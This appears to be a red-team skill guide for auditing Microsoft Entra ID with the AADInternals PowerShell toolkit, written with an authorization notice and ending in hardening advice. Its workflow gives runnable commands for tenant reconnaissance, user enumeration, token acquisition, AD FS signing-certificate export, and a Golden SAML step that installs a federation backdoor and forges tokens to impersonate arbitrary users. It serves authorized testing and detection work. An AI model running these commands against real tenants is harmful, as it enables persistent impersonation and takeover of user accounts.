Auditing Entra ID with AADInternals

Legal Notice: This skill is for authorized security testing, red-team engagements, and educational purposes only. AADInternals can forge SAML tokens and install federation backdoors that grant persistent impersonation of any tenant user. Use only against tenants you own or have explicit written authorization (rules of engagement) to test. Unauthorized use violates the Computer Fraud and Abuse Act and equivalent laws.

Overview

AADInternals is the most comprehensive offensive/administrative PowerShell toolkit for Microsoft Entra ID (formerly Azure AD), Azure AD Connect, and Active Directory Federation Services (AD FS), authored by Dr. Nestori Syynimaa (Gerenios / Secureworks). It exposes hundreds of cmdlets (all prefixed AADInt) covering unauthenticated outsider reconnaissance, access-token acquisition for every Microsoft API, directory manipulation, AD FS/PTA attacks, and the technique it is most famous for: federation backdoors that abuse the Set-MsolDomainFederationSettings / ConvertTo-AADIntBackdoor path so an attacker who controls a federated domain's IssuerUri can mint SAML tokens for arbitrary users — mapping to MITRE ATT&CK T1606.002 (Forge Web Credentials: SAML Tokens), the same class of technique used in the SolarWinds (Golden SAML) intrusions.

The toolkit separates capabilities by required position. Invoke-AADIntReconAsOutsider and Get-AADIntLoginInformation require no credentials — they query public endpoints (getuserrealm, OpenID configuration, autodiscover) to reveal verified domains, tenant ID, federation type, brand, and whether Desktop/Seamless SSO is enabled. With a foothold, Get-AADIntAccessTokenFor* cmdlets acquire tokens for Azure AD Graph, Microsoft Graph, Exchange Online, SharePoint, Azure Core Management, and more, optionally caching them so subsequent cmdlets reuse them. With Global Administrator (or a synced AD Connect account), the toolkit can read directory secrets, manipulate users, and establish the federation backdoor.

This skill drives AADInternals through a defensive-validation lens: confirm what an external attacker can learn, what a low-privileged token reaches, and whether federation/AD FS configuration would allow Golden SAML — then produce evidence and hardening recommendations.

When to Use

• During an authorized Entra ID / Microsoft 365 red-team or assumed-breach assessment
• To enumerate external attack surface (verified domains, federation type, SSO) before credential attacks
• To validate that federation and AD FS token-signing certificates are protected against Golden SAML
• To test token acquisition and replay across Microsoft first-party APIs
• When building detections (pair with the blue-team Graph-log hunting skill) and you need real AADInternals telemetry

Prerequisites

• Written authorization covering identity-attack and federation-backdoor testing
• Windows host with PowerShell 5.1+ (or PowerShell 7 on the supported subset)
• For backdoor/federation tests: Global Administrator (or equivalent) in the target tenant, in scope per the ROE
• Install the module from the PowerShell Gallery:

  Install-Module AADInternals -Scope CurrentUser
  Import-Module AADInternals
  # Cross-platform AsOutsider-only reimplementation (no creds) is also available:
  #   https://github.com/synacktiv/AADOutsider-py
  

• Familiarity with SAML/WS-Federation, OAuth tokens, and Azure AD Connect

Objectives

• Perform unauthenticated tenant reconnaissance and enumerate verified domains, tenant ID, and federation type
• Acquire and cache access tokens for Microsoft first-party APIs
• Enumerate users/groups/roles with an authenticated token
• Test the federation backdoor / Golden SAML path in a controlled, authorized manner
• Document exposure and deliver hardening recommendations (token-signing cert protection, federation monitoring)

MITRE ATT&CK Mapping

ID	Technique	Application in this skill
T1606.002	Forge Web Credentials: SAML Tokens	ConvertTo-AADIntBackdoor + New-AADIntSAMLToken forge SAML tokens for arbitrary users via a controlled federation IssuerUri (Golden SAML)

Related techniques: T1087.004 Account Discovery: Cloud Account (recon), T1528 Steal Application Access Token (token acquisition), T1556.007 Modify Authentication Process: Hybrid Identity (federation/PTA backdoors).

Workflow

Step 1: Unauthenticated outsider reconnaissance

No credentials required. Identify verified domains, tenant ID, federation type, brand, and SSO status.

# Full outsider recon for a domain (table output)
Invoke-AADIntReconAsOutsider -DomainName "target.com" | Format-Table

# Login/realm details: federation vs managed, AuthURL, brand
Get-AADIntLoginInformation -Domain "target.com"

# Tenant GUID
Get-AADIntTenantID -Domain "target.com"

Step 2: External user enumeration (optional, noisy)

Validate whether usernames exist via the GetCredentialType / autologon endpoints.

# Supply a list of candidate UPNs to test existence
Invoke-AADIntUserEnumerationAsOutsider -UserName "user1@target.com"
# Or pipe many:
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider

Step 3: Acquire and cache access tokens

With valid credentials (or an interactive prompt), obtain tokens for the API you need. -SaveToCache lets later cmdlets reuse the token automatically.

# Azure AD Graph (legacy graph.windows.net) token, cached
Get-AADIntAccessTokenForAADGraph -SaveToCache

# Microsoft Graph (graph.microsoft.com)
$mg = Get-AADIntAccessTokenForMSGraph

# Exchange Online
$exo = Get-AADIntAccessTokenForEXO

Step 4: Authenticated directory enumeration

Using a cached/acquired token, read directory objects to map privilege.

# Global tenant info (uses cached AAD Graph token)
Get-AADIntTenantDetails

# Enumerate users and look for privileged / synced accounts
Get-AADIntUsers | Select-Object UserPrincipalName, DirSyncEnabled, ImmutableId

Step 5: Inspect federation / AD FS configuration

Determine whether the tenant uses federated domains and where token-signing keys live — the prerequisite for Golden SAML.

# If you have access to the AD FS server, export the token-signing certificate
Export-AADIntADFSSigningCertificate -Path .\adfs_signing.pfx
# Read AD FS configuration / encryption keys (on the AD FS box or via DKM)
Get-AADIntADFSConfiguration -Server adfs.target.com

Step 6: Federation backdoor / Golden SAML (authorized only)

Convert a domain to a backdoor by setting a known IssuerUri, then forge a SAML token for a target user using that domain's ImmutableId. Only in a controlled tenant with explicit authorization.

# Requires a Global Admin token (AAD Graph) cached in Step 3
ConvertTo-AADIntBackdoor -DomainName "backdoor.target.com"
# Output includes the IssuerUri to reuse when forging tokens.

# Forge a SAML token impersonating a user (ImmutableId from Get-AADIntUsers)
$saml = New-AADIntSAMLToken -ImmutableID "UQ989+t6fEq9/0ogYtt1pA==" `
    -Issuer "http://backdoor.target.com/adfs/services/trust/" -UseBuiltInCertificate

# Use the forged token to open a portal session as the impersonated user
Open-AADIntOffice365Portal -SAMLToken $saml

Step 7: Document exposure and harden

Capture exactly what recon revealed, which tokens/APIs were reachable, and whether the backdoor/Golden SAML path succeeded. Recommend: protect AD FS token-signing certs (HSM, restricted DKM access), alert on new/changed federation trusts, monitor Set-DomainAuthentication/Set-MsolDomainFederationSettings, and migrate where feasible to managed (cloud) authentication.

Tools and Resources

Resource	Purpose	Source
AADInternals	Entra ID / AD FS attack & admin toolkit	https://github.com/Gerenios/AADInternals
AADInternals docs	Cmdlet reference and technique writeups	https://aadinternals.com/aadinternals/
AADOutsider-py	Cross-platform AsOutsider reimplementation	https://github.com/synacktiv/AADOutsider-py
Golden SAML background	Federation backdoor technique writeup	https://aadinternals.com/post/aadbackdoor/
MITRE T1606.002	Forge Web Credentials: SAML Tokens	https://attack.mitre.org/techniques/T1606/002/

Cmdlet Quick Reference

Cmdlet	Position	Purpose
Invoke-AADIntReconAsOutsider	None	Verified domains, tenant ID, federation type, SSO
Get-AADIntLoginInformation	None	Realm/login details for a domain
Get-AADIntTenantID	None	Tenant GUID
Invoke-AADIntUserEnumerationAsOutsider	None	Validate user existence
Get-AADIntAccessTokenForAADGraph	Creds	Azure AD Graph token (-SaveToCache)
Get-AADIntAccessTokenForMSGraph	Creds	Microsoft Graph token
Get-AADIntAccessTokenForEXO	Creds	Exchange Online token
Get-AADIntUsers	Token	Enumerate directory users
ConvertTo-AADIntBackdoor	Global Admin	Convert a domain into a federation backdoor
New-AADIntSAMLToken	Backdoor	Forge a SAML token for a user (Golden SAML)
Open-AADIntOffice365Portal	SAML token	Open a portal session as the impersonated user

Validation Criteria

• Outsider recon completed; verified domains, tenant ID, and federation type recorded
• User enumeration tested (or documented as out of scope)
• Access token acquired and cached for at least one Microsoft API
• Authenticated directory enumeration performed (users/roles, synced accounts noted)
• Federation / AD FS configuration assessed for token-signing key exposure
• Backdoor / Golden SAML path tested in an authorized controlled tenant or documented as out of scope
• Exposure documented with concrete impact
• Hardening recommendations delivered (cert protection, federation monitoring, managed auth migration)